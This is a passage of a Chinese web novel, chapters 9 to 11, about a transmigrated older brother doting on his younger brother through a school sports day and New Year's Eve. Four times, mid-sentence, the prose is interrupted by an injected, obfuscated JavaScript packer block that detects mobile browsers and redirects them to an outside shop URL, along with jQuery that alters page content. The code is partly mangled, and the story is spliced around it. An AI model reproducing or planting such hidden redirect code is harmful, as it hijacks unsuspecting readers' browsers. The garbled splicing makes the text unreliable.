为了验证这一点,在吃完饭后,席见微牺牲了一小部分睡觉的时间,拉着席亦去了院子里的那颗大树下。 这棵树树龄不知道多少年了,在原主被收养回来之后就移了进来。 席见微穿过来后,就站在那里画过身高线,席亦也不例外,只是换了一种颜色。 他们记录身高并不算太勤,树上的线条还很稀疏。 席见微弯腰找到了席亦上一次量身高时画的线,边上标着时间,是一年前了。 量出来的结果,证明了那一切并不是席见微的错觉。 席亦就是没长。 其实仔细看看,就会发现还是长了两厘米的。但那两厘米,席见微选择当做看不见。 他蹲下来,点了点席亦的额头,有点无奈地说:“再挑食会长不高哦。” 有自己不爱吃的东西很正常,但涉及到营养和健康方面就不好了。 席亦对着他难得有这么固执的一面:“不想长高。” 相视“对峙”两秒,席见微又一次败下阵,只是捏了捏席亦的脸。 席见微觉得他年纪还是太小,所以很多都不在乎。 他站起来,没忍住在心里询问092:【小亦以后不会长不高吧?】 熟知剧情的092信心满满:【宿主你不用担心。】 席见微好奇:【...他未来有多高?】 092:【185。】 席见微:【?】 他低头看了看还在揉脸的小豆丁弟弟,又回忆起自己遇到的那些身高一八几的人都是什么样。 092还在追着补刀:【这还是只是主角17岁高考体检的数据。】 意思是后面可能还能长点。 席见微想起自己今年还没过160的身高,瞬间感觉比较岌岌可危的,可能是自己。 ...... 齐榆今天第不知道多少次往教室窗外看,确认太阳是不是从西边升起的。 不然自己怎么会看见席亦主动去报运动会项目,还是捡了一个都没人愿意去的长跑800米。 虽然席亦能和他一起去运动会受苦他很欣慰,但突然就来这么一出反常行为,实在是惊悚。 同桌刺挠成这样,席亦当然注意到了,下课的时间,他友好地递出一条巧克力以示询问。 齐榆含着巧克力,终于有机会问了:“你...今天发烧了?还是体委拿捏住了你什么把柄。” 席亦自己也拆开一块咬了口:“没有。” 齐榆理解无能:“那你报800米那个破项目干嘛?” 席亦吃完后喝了口水:“为了班级荣誉?” 一开始班主任鼓励班上同学报名运动会的时候,就总嚷嚷着班级荣誉,席亦没听进去,但至少词是记住了。 齐榆:“...这话你自己信吗?” 席亦同样不解:“为什么不信。” “......” 半天,齐榆咬牙切齿憋出一句:“等下次见到见微哥,我要和他告你的状。” 席亦很认真地和他阐述自己的观点:“我觉得我哥应该会站我这边。” — 席见微和席亦都已经过了那个要听睡前故事才能安稳入睡的年纪了,但偶尔,席见微晚上还是会念一个简短的故事。 他已经洗完澡了,坐在床上翻着手上的童话书,试图从中找到一个没有讲过的故事。 房间的门被轻轻推开,吹干头发换好睡衣的席亦走了过来。他的额发还垂在眼睛前,瞳孔颜色很深。 在席见微终于精挑细选好一个故事的时候,席亦已经躺在他的腿边,偏着头抬眼看他。 席见微还没开始讲,先看席亦的头发不顺眼了,从床头的抽屉里翻出了自己常用的小皮筋,然后去拢席亦的额发。 席亦从他侧身过去拿皮筋的时候,就知道他要干什么了,自己乖乖地闭上了眼。 帮别人绑头发这件事,席见微不够熟练,但胜在他足够耐心和细致。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393081|200326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只是那么一个小啾啾突兀地翘在头顶上,实在不好看。于是绑完席亦还没睁眼,反倒是席见微先没忍住悄悄笑了。 席亦睁眼,抬手摸上自己的头发,勾了一下。 以防席亦询问他头发的事,席见微摊开书开始读了:“小穆克的个子特别小,大家都欺负他。某一天,他离家出走,在老女巫家找到两样宝贝...” 在念了一段后,席见微就专注起来了。 他念东西和咬字的时候,尾音比起一般人要轻一点。没有那么强烈的情绪和变化的声调,但温温柔柔的,听着很舒服。 席亦只是仰头看着他。 按理来说,这个角度看人应该是很奇怪的,可放在席见微身上,好像又没那么适用了。 可能席见微自己都没发现,他的左眼眼皮末端有一颗很小很淡的痣。抬起视线时就被掩盖住,瞧不见。 只有这样微微阖眼时才有机会看见。 席亦不确定自己是不是第一个发现的,但他确实已经知道了很久。 毕竟这样的故事,哥哥曾经趴在他的床边讲过很久。 席见微选的故事不长,不到十分钟就已经讲完。 他合上书,刚准备低头说晚安,就瞧见席亦不知道什么时候,已经闭上眼睛安静睡去。 他轻手轻脚地把对方头上的皮筋取了下来,在心里说了一句“好梦”后,转身下了床,走到桌子前,拉开了椅子。 那本陪伴指南,现在则更像是一本普普通通的日记,席见微已经写了大半本。 他用简洁的语句写下了今天发生的事情,然后放下自己手上的笔,换了一支铅笔,翻了新的一页。 这一次,落在纸页上的就不是文字了。 席见微也是这几年才发现自己绘画天赋貌似还不错。他稍微构思了下,就在本子上画出来一个火柴人九宫格漫画。 不够精致,但胜在形象生动。 里面的火柴人主人公捏着筷子对着碗愤愤不平地戳弄,随后把碗里的菜全都挑了出来,在桌子上夸张地堆成了小山。 他对着空了的碗又吃了两口,紧接着装作吃完的样子,顶着碗就开溜了。 桌子前只留下了孤零零的椅子,和一个担忧的哥哥。 小漫画到了这里就结束了。席见微提起笔,在第一格主人公的旁边画了个小箭头,指着他做出了标识。 ——挑食鬼^-^ 092中午的话又一次在脑海响起。 看着那三个字,席见微思考了下,最后又在前面打了个括号,慢吞吞地补了一行字。 ——(未来居然有185的)挑食鬼^-^。 9. 兄控(九) 这段时间,市内天气一直都不太好,阴雨绵绵。 可运动会的当天却难得是一个大晴天,气温毫无防备的飙升一大截。 那些没看天气预报的同学,到了学校就没忍住开始脱外套,拿书扇风。 席见微也觉得热,把外套脱了放在腿上。里面的衣服不是他往常偏爱的薄长袖,而是一件运动风格的白T恤。 一打眼看过去,不知道的还以为他要上场跑。 陈知远穿着件卫衣,扇着风嘀咕:“还是你有先见之明啊。不过这种风格的衣服好像还是第一次见你穿。” 席见微捏了下领子,回答道:“因为不是我选的。” 前几日席亦自己说了运动会的事后,最兴奋的居然是席母。 她带着兄弟俩一起去了商场,大买特买,硬生生把运动会搞出了参加比赛的架势。 因为参加的是席亦,所以最终选择权也在他手上,他看着那些差不多的衣服,随便指了一件黑色的T恤。 恰好周围有件款式一样但颜色不一样的,席母问了一下码数,就给席见微也来了一件。 今天早上,席见微挑衣服的时候,在衣柜那里犹豫了很久,最后还是选择穿上了。 就当是给小孩一点鼓励了。 陈知远听完事情原委,又仔细看了眼席见微身上的衣服,对此表示了肯定:“弟弟审美还是不错的。” “等会儿你可以和他当面说。”席见微建议道。 “那还是算了。” 教室里开了风扇,又开窗通风了一会,那股子燥热劲终于过去了。老师走进教室,告诉他们可以准备下楼了。 他们没有规定的观看位置,可以在操场到处乱晃,只要不跑去人家比赛场地挡路就行,相当的自由。 话音刚落,周围的同学就开始收拾东西。 席见微又把自己那件杏色的外套穿上了,在拉拉链的时候,身边的陈知远突然开口。 “我们先去一趟小卖部吧。” 席见微没搞懂为什么,以为是他饿了,默默从桌子里掏出饼干。 可还没等他递过去,就听见对方说:“买点冰淇淋什么的,往那些低年级的方队前一走,多爽啊。” “你去吧,我就不去了。”席见微摆手表示了拒绝:“我弟弟今天上午有比赛,我得去找他一趟。” “好吧。”陈知远有点遗憾地说:“有家属的人就是不一样。” 席见微闻言,笑着扔了他一包饼干。 ...... 席亦已经在楼下等了不知道多久了,他穿着那套黑色的运动服躲在墙角边,还拎着一个浅灰色的包。 下来的人太多,几乎就要把席亦给淹没了,可席见微还是一眼就看见了对方。 他从人潮的缝隙里挤过去,弯腰拿走席亦手上的包,牵起对方的手,就开始往外面开阔的地方跑。 比赛的人可以不在方阵里集合,席亦的800米长跑是第二个项目,距离检录还有半个小时。 外面日头正毒,所有下来的人都在往树荫和一楼的空教室躲。 席见微下来的晚了,位置已经没有了,四处张望了一下,和席亦两个人找了处靠墙背光的石梯坐下。 席亦没有坐下,而是从他手里接过包打开,翻出学校前几天发给他的护膝。 然后蹲在席见微的前一阶台阶上,弯腰系在膝盖处。 他低头时漆黑的发丝就在席见微眼前晃悠,席见微看得手痒,于是没忍住去揪了一下。 席亦动作一顿,等终于扣好后却没有起身。反倒是就着蹲下的这个高度,把头靠在了席见微的两腿膝盖之间。 席见微腿上一重,下意识把手收回来。 他看着抵在自己膝盖上的脑袋,几秒后,踮脚轻轻颠了一下腿,看着对方头一点一点的。 席亦好像是笑了一下。 这个动作没做几下,席见微就停了。 他看着席亦的头发,开始担心跑起来会不会刺眼睛,思索了会,从口袋里掏出一个Y字夹。 这是席见微自己平时别碎发用的,黑色的还哑光,很小不容易发现。 他轻手轻脚地帮对方把刘海别了一下。 席亦全程闭眼,直到脸全都露了出来,席见微问他:“会难受吗?” 本人还没来得及回答,倒是系统的提示音先跑来播报了一声:【主角爽度+2】 席亦下巴还在席见微腿上,他小幅度摇了摇头:“不会。” 第一个项目已经结束了,主席台那边正在汇总成绩。广播就在边上响起,让800米参赛的人去检录准备了。 在起身前,席见微用手背贴了一下席亦的脸,轻声叮嘱道:“不要让自己受伤了,加油。” 席亦:“好。” ...... 齐榆就是那个倒霉催的参加第一个项目的,他好不容易忙活完,收拾一番打算过来帮席亦加油。 结果就在边上,远远看到了席见微在帮席亦别头发。 这下齐榆终于知道席亦为什么会突然态度三百六十度大转变,来参加这个运动会了。 完全就是为了在他哥面前留个好面子。 席见微把他一路送到了参赛点名的地方后,就在边上找了个位置站着。身后还背着席亦的包。 男子八百米里的参赛者大多分成两类人,一部分是对自己很有自信的,另一部分,就是被迫来凑数的。 从身高和体格来说,席亦看起来无疑是后者。 检录过程的比较长,站在那里等待的时候,其他人要么面色如土,要么兴奋不已。 唯独席亦在看天。 准确来说,是在盯不见了的刘海。 席亦只是有一点点不适应,因为他不知道那个发卡牢不牢固,跑完会不会掉。 齐榆刚被班上派过来送水,就被他这副心不在焉的样子吸引了注意力,在递水的空隙和席亦嘀嘀咕咕。 比如说这个跑的很快,去年长跑就是第一名。那个好像家里就教武术,从小练到大。 齐榆一口气说完一大串,然后问:“你打算跑第几名啊?” 席亦接了那瓶水喝了一口,看起来一如往常,甚至还有心情和齐榆讲冷笑话:“站几道就跑几名?” 齐榆默默低头看了眼席亦脚下的一号道。然后给他在心里竖了个大拇指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393082|200326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 站在席亦边上的人听见了,没忍住扫了他一眼,冷哼一声。 最后一个人的检录也完成了,带着号码牌站上跑道。大家站在一起,周围围观的人都一齐安静了一瞬。 直到极致寂静的氛围被一声枪响给打破。 不管抱着什么样的心态上场的人,在听见这一声响后,都开始不顾一切的跑。 那种独属于比赛的紧张气氛像是会传染,所有人都像离弦的箭一样往前。 一分钟后,那群聚在一起的人团才开始分出个前后。 齐榆之前提过一嘴的那两个人暂时领先,席亦处于一个尴尬的中间位置。 席见微找了个高点的位置,这样方便看的更清楚。齐榆远远的看见,也凑过来和他站在了一起。 席见微在席亦参加比赛前,总和他说不用太厉害不用有压力。 但等真的站在这里看的时候,却还是希望席亦得到一个好成绩。 出于哥哥的私心。 比赛已经到了最后一圈,离终点还有一百米不到,队形和方才的差别不大。 观赛的学生已经知道谁会是第一了,便把目光转向了别处。 最前面的那个人已经冲过了50米的线,就在这个时候,两侧突然发出了巨大的惊讶尖叫。 只见一道黑色的身影瞬间便超过了一直处于领先地位的人。 在所有人始料未及的时刻,冲过了终点线,宣告了这场比赛的结束。 广播实时播报了第一名的名字,传到所有人耳里。 一道一号,席亦。 全场的叫喊声都没停。外面的人在叫,齐榆也懵了,震惊着大声道:“不是席亦,你真跑第一啊?!” 他喊完才想起来席见微还在自己边上,转头有点尴尬地磕绊着说:“见微哥这,这...” 席见微温和地接了他的话:“好厉害啊。” 本来一个第一名是达不到这个效果的,但最后五十米猛追反超太有戏剧性了。 再加上小学生本来就是一个中二的年纪,这才造成了这副“热闹”的景象。 席亦冲过终点之后,自己撑着膝盖在原地喘气。 嘈杂的欢呼声落到他耳里却是充耳不闻,他缓了一会,抬手摸了下自己的头。 这个动作远远看过去,就像是席亦在摸自己的头发。但席见微不知为何就是觉得,他是在摸那个发卡。 ...... 拿了第二名后,那个在比赛前对席亦冷哼一声的人,现在一对上他的视线就手脚忙的不得了。 但席亦并没有注意这些,他左右环顾了四周,在边上看见了齐榆,看见了班上的同学,却没有找到最想见的人。 心下慌乱的时候,肩膀被人拍了一下。 他下意识看过去,撞进的是席见微一双温柔清透的眼睛。 那一刻的错愕太明显,几乎是直接傻在了原地。 席见微看着他,实在忍不住笑了一声。 他俯下身抬手在席亦眼前晃了下,明知故问:“这位小朋友,你刚刚在找什么呢?” 席亦没说话。 然后静静扣住了他晃着的手。 10. 兄控(十) 那阵得了第一的威风还没持续几分钟,后遗症就紧接而来。 席亦耐力不行,刚刚跑完缓了半天才有力气抬头到处张望。现在和席见微扣上手一放松下来,腿瞬间就软了。 他往前栽的时候,席见微眼疾手快地把他抱住了。 衣物上的清香渗过来,席亦慢慢搂上他的腰,不动弹了。 席见微突然觉得这个动作,有点像小时候席亦不爱走路挂他腿上的样子。 他下意识摸了一下对方的下巴,却碰到了还没有干透的冷汗:“会觉得很热吗?身上全是汗。” 席亦却选择性地忽略了前半段,只听到了那句“全是汗”,当即就想要从怀里出来自己走。 席见微按住了他的脑袋,没让他躲开,轻轻说:“跑什么?又没说这样就不抱你了。” “还好,不热。”席亦被按着脑袋闷声回了一句,没再动作。 于是等陈知远终于瞧见席见微的背影,跑过来想要再次发出邀请的时候,先对上的却是席亦抬头望来的眼神。 他脚下一个急刹。 这脚刹的动静不小,席见微一转头就是陈知远一副欲言又止的表情,不解地问:“你怎么了?” 好巧,陈知远也挺不解的:“你俩抱一起站这干嘛啊?” 跟个树懒抱树一样。 “小亦刚跑完八百,冲的太狠现在腿软站不住。”席见微对他解释说。 陈知远只知道席见微有个很亲近的弟弟,远远看过几眼,对人有个“内向”的印象。可像今天这样近距离接触还是第一次。 他还是摸不着头脑:“腿软不能扶着吗?” 自己小侄女脚崴了的时候,他也是扶着人走的,况且大热天这样抱着真的不热吗? 下一秒,不知道是不是他的错觉,陈知远总觉得席见微的弟弟好像又看了他一眼。 席见微还没说话,就感觉到席亦站不住似的往下又缩了点,惊得他连忙又捞了一把。 搂紧后,他对陈知远说:“抱着要安全一点。” “...你们不嫌热就好。”陈知远终于想起了他过来的初衷:“弟弟现在也比完了,一起去买东西吃吗?” 席见微倒是意外:“你还没去么?” 陈知远惊了:“我是那种会背着朋友一个人去吃独食的人吗?” “等我问问。”席见微说完后,又低头问了席亦一句,得到肯定的回答才又道:“走吧。” 学校里面有两个小卖部。一个在一号教学楼边上,另一个就偏僻得多了,几乎要挨着学校最边上的围墙。 陈知远来找席见微之前打探过,一号教学楼边上那个小卖部现在可谓是围的水泄不通,左右他们三个也没事,还不如去远一点的地方躲个清闲。 席见微自然是没异议。 在过去的路上,席亦也慢慢缓过劲来了,没再扒在怀里不松手,牵着手走过去了。 那个小卖部确实如陈知远所言,见不到几个人。虽然没几个人来,冰柜里面的冰淇淋种类倒是不少。 老板压根没往他们这里看,只在他们进门的时候说了句挑好过来结账。 席见微盯着冰柜,轻轻捏了下席亦的手,偏头过去问:“小亦吃哪种?” 席亦看了眼里面的冰淇淋,根据席见微喜欢的口味,指了个看起来最不会出错的。 席见微拿了两份,走到店里面开始结账。 一边的陈知远早就买好了,站在席见微右边开始叼着冰棍眯眼享受。 他咬着咬着,余光突然扫到一个泛着金属光泽的东西。 那是一个高达模型,就摆在门口的柜子上,漆面均匀,做工精致细腻。最了不得的是这个款还是限量发售。 他们这个年纪本就是对玩具一万分感兴趣的年纪,更何况是限量版高达。 陈知远这下连冰棍都不咬了。眼睛还没从上面移开,一只手就往边上招呼,打算拍席见微肩膀让他也来看。 可手在空中挥了两下,却什么都没碰到,是空的。 不死心的陈知远手往下移了点,这下倒是碰到东西了。 不过...这手感怎么毛乎乎的? 他震惊地回头,才发现不知道什么时候,席亦换了个位置,默不作声地站到了席见微的右边。 现在,他的手正落在席亦的头顶上。 而这位席见微口里“乖巧”的弟弟,正仰头眯着眼睛盯他,脸上没什么表情。 陈知远觉得自己可能是脑子糊涂了,不然怎么会觉得对方是在瞪他呢? 席见微终于结完账,拎着一个冰淇淋转身打算递给席亦,就看见陈知远的手正落在他弟弟头上。 这两个人怎么突然关系这么好了? 察觉到席见微看过来,席亦立刻往他那里挪了点,让自己的头从陈知远的手下离开。 然后接过席见微手上的东西,笑了下。 席见微没有看出不对劲,捏了下他的脸。 看完整个变脸过程的陈知远:“?” 见鬼了。 ...... 下午的项目比的比较快,结束之后就可以回家了。席见微提前和司机说过,所以即便还没到放学的点,司机也等在了门口。 一回家,席见微就推着席亦去浴室里面洗了个澡。 十几分钟后,席亦头发微潮地从浴室里面走出来,就看见席见微也已经换了一身衣服。 那是一件浅藕色的卫衣,上面还有一个很可爱的狐狸图案。下半身则是搭了一条浅色的牛仔裤。显得人干净又生动。 席见微蹲在柜子前,一脸认真,不知道还以为在处理什么困难的问题。 最后只是从里面揪出一个合适的包。 席亦在边上自己稍微吹了下头发,收拾好了之后,两个人就跟着父母一起出去吃饭了。 比起席见微往日里的心软,席父就要严厉得多了。偶尔吃饭的时候看见席亦挑食的举动,还会认真提醒两句。 因此在面对席父的时候,只要不是特别特别不喜欢的菜,席亦都会硬着头皮吃点,以表态度。 可今天,这不喜欢的菜实在是太多了点。 席见微捏着叉子把一口西兰花咽了下去,余光悄悄去看边上的席亦。 对方不像是在吃饭,反而像是在对蔬菜凌迟,要扎几十个孔才舍得咬一口,肉眼可见的嫌弃。 按照这个速度,这顿饭的时间起码得一个小时起步。 席见微看不下去了,趁着对面的父母低头聊天,凑过去把席亦叉子上那朵可怜的西兰花咬走了。 叼走后,还礼尚往来地插了一块席亦能接受的土豆过去。 席亦学着他的样子,也张嘴咬了过去。 他们就这样你喂我一口,我喂你一口,终于是要把席亦盘子上那些不爱吃的蔬菜给解决掉了。 这动作太明目张胆,对面的父母没办法再装看不见,咳嗽了一声。 心虚的席见微坐直了,不敢抬头。 几分钟后,这顿波折的用餐终于结束了。 楼下就是商场,家里两个大人没有忙着回家,反而是拐进去逛了逛。 这一逛就有点收不住手,最后因为买的东西太多,只能让工作人员后面再送到家里来。 席母在那里给人报地址和号码的时候,席见微就靠在门边等。 这家商场的对面就是一条街道,有很多年纪尚轻的人在地上摆摊,位置前还挂着彩色的灯,远远看去连成一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393083|200326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片。 席母和人交涉完,看着席见微目不转睛的眼神,轻轻拍了一下他的背:“想去就去,记得不要跑的太远哦。” 席见微点了点头,回头又记了一下位置才往那边走,过程里还没忘记把自家弟弟给带上。 — 这条街上人来人往,但来凑热闹的人还是占了大多数,再加上她的摊子在一个比较偏的角落,一下午也没卖出去几个。 到现在,女生也就释怀了,大不了就当出来呼吸新鲜空气了。 正这么想着,面前就突然停下一道身影。 她是找了个小板凳坐着的,面前的人为了和她齐平说话,把腰弯的很低。 说话的声音也轻轻的:“你好姐姐,这些怎么卖?” 顺着声音抬头看过去,就对上一张还稚嫩的脸,令人过目难忘。 她不太能形容,只觉得面前的孩子清隽又漂亮。只是看着心情都好了点。 “左边这些三元一个,右边的要贵一点,是我自己用线勾的,五元。”女生指着区域,连忙说。 席见微这才蹲下来看。 比起店里面的这里的东西确实算不得精细。但勾的图案都是单独设计的,比起那些千篇一律的款式,更生动可爱。 那些发卡看的席见微有点心痒,但他类似的东西已经很多了,不能放任自己再乱买。 就只挑一个。 他这样在心里和自己说。 席见微在那一堆里看来看去,在一个不起眼的角落,找到了个看起来分外眼熟的。 和他今天衣服上的刺绣一样,是一个小狐狸。 他把那个发卡拿了起来,刚准备拿钱,就见面前的女生忽然从边上的包里翻出了什么东西。 她对着席见微摊开手,里面躺着一个发卡:“这是我下午的时候刚勾好的,忘记拿出来了。” “没关系的,就帮我把这个包起来...”可等看清那个发卡的样子后,席见微的话一下堵住了。 那是一只灰毛的垂耳兔,抱着胡萝卜,不情不愿地撅着嘴。看起来一副生无可恋的样子。 好巧,他边上蹲着的某个挑食鬼也不吃胡萝卜。 席见微最后狠狠地打了自己的脸,没忍住把两个发卡一起拿下了。 在往回走的路上,拿着那个灰兔子的发卡在席亦的头上比划,思考着夹在哪里。 席亦站住脚让席见微找位置,仰头看过来的模样莫名和那个灰兔子很像。 席见微最后找了个耳朵边上的位置给席亦夹上了。 毕竟席亦的头发没有他的长,也就刘海和额边能夹的轻松点。 大功告成后,席见微心情很好,弯着眼捏了一下席亦的耳垂。 “哥哥,你的不带吗?”席亦摸了摸头上的东西,看着他的头发开口说:“我想帮你。” 坑人的后果来得就是这么快。 在对方那认真的眼神里,席见微败下阵来,找了个人少的地方蹲下,把手里的发卡递给了席亦,低下头。 因为这个动作,他的发丝往前滑,有几缕已经贴在了脸颊上。 席亦抬手帮他把边上的头发往后顺,但因为手法太生疏,总是有些从指缝溜出来。 他的手离眼睛太近,席见微没忍住眯起了一只眼,靠一点缝隙悄悄观察动作。 席亦反复几次终于摸到了要领,参照着自己头上的位置,给夹上了。 而就在席见微准备站起身的时候,席亦的手却突然下滑,在他的耳垂犹豫着,捏了一下。 像是在完成什么必要的程序。 这出乎意料的举动,让毫无防备的席见微脊背抖了一下。 反应过来后,他才无奈地说:“怎么学我呀。” 11. 兄控(十一) 运动会之后,席见微就没再碰上那么空闲的日子,又在学校待了两个多月,考试的日子就到了。 席见微正常发挥,出成绩的时候,毫不意外地以一个很稳妥的成绩,考上了隔壁一中。 陈知远最后几个月被他这么督促了一下,居然也擦边上了。看见成绩的那一刻下巴差点惊掉。 等到席亦也放假,一家人趁着这个暑假去周边的临海城市玩了一个多月,也算是变相的避暑了。 当时的席亦还没有意识到事情的严重性,直到新的学期开学后,因为一中的作息不一样,两个人的房间被分开了。 那天晚上席见微没睡好。 第二天起了个大早刚打开门准备往楼下走,隔壁房间的门就开了。 连续好几天,只要席见微前脚刚从房间里收拾好出门,就会在走廊上固定刷新一个席亦。 可那明明不是他起床的点。 席见微还以为是自己吵到了人,后面再起床轻手轻脚地和做贼一样,但结果并没有发生任何变化。 他们早上还是坐在一张桌子面前吃早饭。 席亦最开始出现在走廊的时候还会悄悄揉眼睛,难掩困倦的模样。而现在已经完全看不出来了,和平时没有任何区别。 吃饭的过程中,席见微看着他。忽然意识到,席亦或许是在隐晦地表达自己能够适应这种作息。 但他们都大了,就算能保持作息一致,席母也不见得会让他们继续一起睡了。 席见微不知道自己该不该去找席亦开诚布公的谈这件事,毕竟小孩子的心是敏感纤细的,他又没有明说。 在那些欲言又止的眼神里,席亦自己像是慢慢意识到了这点,后来没再保持和席见微一样的作息。 只是会在晚上借着辅导作业的名号,在席见微房间赖上几个小时才回去。 事情就这么翻了篇,如果说席见微生活里还剩下什么不好的点,那大概就是新学校食堂的饭真的很难吃。 一向嘴馋的陈知远第一次吃到一中的食堂的时候,简直是叹为观止。 被吓的。 能把十几种食材组合排列,烹饪成人类无法接受的口味,客观点说,还真不是什么容易事。 席见微吃的也有点麻木,但还算认真,至少没浪费。 陈知远看他吃饭已经起鸡皮疙瘩了:“你的舌头还好吗?要不别逼自己吃了。” “不按时吃饭长不高。” “你又不矮。”陈知远看看席见微的个子,完全属于正常初中生水平:“你想要长多高啊?” 席见微想了想席亦未来的185。他作为哥哥,比对方高一点很正常吧。 于是他矜持保守地报了一个数字:“186吧。” “?!”陈知远没想到他兄弟志向这么远大,看着对方清瘦的手腕,识趣地没有开口说话。 ...... 临近过年,市内的气温开始骤降,甚至隐隐有了下雪的趋势。 下完雪后的路不好走,但放了假的席见微已经没有了这方面的顾虑,甚至在期待这场雪落下。 终于在除夕的前一天,雪缓慢地从天而降。 家里的阿姨也赶回家团圆了,今天晚上在厨房里做菜的是席父。 席母也没闲着,坐在外面教两个小孩包饺子。 在这个过程中,席亦达成了包了五个,但五个饺子皮都破掉的成就。最后被剥夺了拿起第六张饺子皮的权利。 席见微开始还觉得自己的手不太灵巧,后面看见自家弟弟的,也就放平心态释然了。 他包出来的一个个都圆鼓鼓的,和席母的摆在一起比较,能有她的两个大。比起饺子更像是个元宝。 但就算是元宝,也是个完好无损的元宝,席母已经很欣慰了。 父母在厨房里面研究怎么才能把那个“元宝”煮熟的时候,席见微就和席亦在外面堆雪人。 雪下的不大,院子里的积雪不算深,但堆几个小小的雪人还是没问题的。 席见微搓了好几个,样子都差不多,主打的就是端水。等转头一看,发现席亦那边完全截然相反。 那边现在就完成了俩。 一个是席亦自己,一个是席见微。 席见微头一回那么清晰地认识到,用不用心是真的很明显。 席亦给席见微那个雪人戴了条围巾,还有帽子,甚至球都要搓得圆一点,树枝也精心挑选过。 而他自己的那个就显得比较磕碜了,右手边的树枝要断不断的,半截挂在那里。 风一吹还晃,跟招手似的。 席见微盯了会,没忍住走过去和席亦的那个雪人握了手。 下一秒,那半截树枝断在了他手里。 席见微:“......” — 不知道席父怎么想的法子,席见微包的那个元宝居然真的给煮熟了,而且还没破皮。 只是太大一个了,吃起来怪没味的,口感也一般。 席亦平时挑食的很,今天吃饭倒是难得安分,老老实实吃完一顿。 吃完饭后,一家人分工合作收拾了一下餐桌,剩下的就交给洗碗机发力了。 市内晚上会放烟花,吃完饭休息了一会,席见微就找了一条围巾戴上,和家里人一起出去逛逛。 但他们来的有点晚了,等走过去的时候,江边已经围了里三层外三层的人。 眼看是挤不进去了,就只能转去别的地方去看看。 反正烟花在天上,站哪里都能看见。 比较意外的是,为了过年,市里居然还特地在这边上修了个适合拍照的打卡点。边上还有个新年的祝福箱子,纸笔都有,写完折好丢进去就行。 标题很大一个,席见微离得那么远都看见了。 [新的一年,为“TA”写下祝福吧。] 祝福灵不灵另说,过年嘛大家也就图一乐凑凑热闹,因此围在那里的人还真不少。 席父个子高手长,在密集的人潮里面抽了几张出来。 至于笔辗辗转转的太难拿到了,他索性去边上的超市里买了几只。 把东西交到他们手上后,说道:“你们兄弟俩互相写。记得写完不能告诉别人,不然不灵。” 席见微严肃地点了点头。 他蹲下来,把纸放到了腿上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393084|200326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 写字的时候连092这个算不上生物的系统都防,手挡的严严实实的,全凭感觉写字。 幸好他要写东西并不长,不然还真挺麻烦。 092:【......】 它其实很想告诉席见微,挡也没有用的。作为一个聪明的系统,它完全可以根据席见微的手部动作,判断出写的字。 但它没敢开口。 席见微盖上笔帽,将那张纸小心翼翼地对折了两次。 因为不能说出来,知道了他写下什么的092只能自己默默感概,那真是一个非常席见微式的祝福。 在边上的席亦两分钟后也终于写好了,动作迅速地折好。 箱子就在他的左手边,再等两个人离开就能放进去了。 席见微把自己折好的红纸递给了席亦。对方脸色未变,眼睛也没乱瞄。 席见微问道:“不好奇吗?” 明明是他自己有点好奇,却选择了先问对方。 席亦捏着那叠红纸,说话轻轻的:“我感觉我好像猜到了。” “......真的吗?”席见微觉得自己写的也没那么好猜,不愿相信地开口:“那你说一下。” 话音刚落,又连忙制止:“算了,会不灵的。” 他说这话的时候看起来真的很苦恼,脑子里的叮嘱在和求知欲打架。下半张脸都埋在围巾里。 席亦手拿着对折的红纸,偏头看他。 “砰”的一声响,烟花升上天空绽放开来,点亮夜幕的同时,照的落下的雪都梦幻晶莹。 席见微捏着围巾,下意识抬起头看去。 那两个人原本站在箱子边上的年轻人,忙着掏手机拍视频记录,便把位置让了出来。 席亦转身两步走过去,蹲下来把手里的东西投进了箱子里。 再直起身的时候,有人站到了他的身后。 席见微踮起脚,把下巴轻轻地抵在席亦的发顶。 在烟花的巨大声响中和落雪中,他和过去很多年一样开口:“新年快乐,今年也要开心。” 席亦没有动作,他又想起了那张被放进箱子里的红纸。 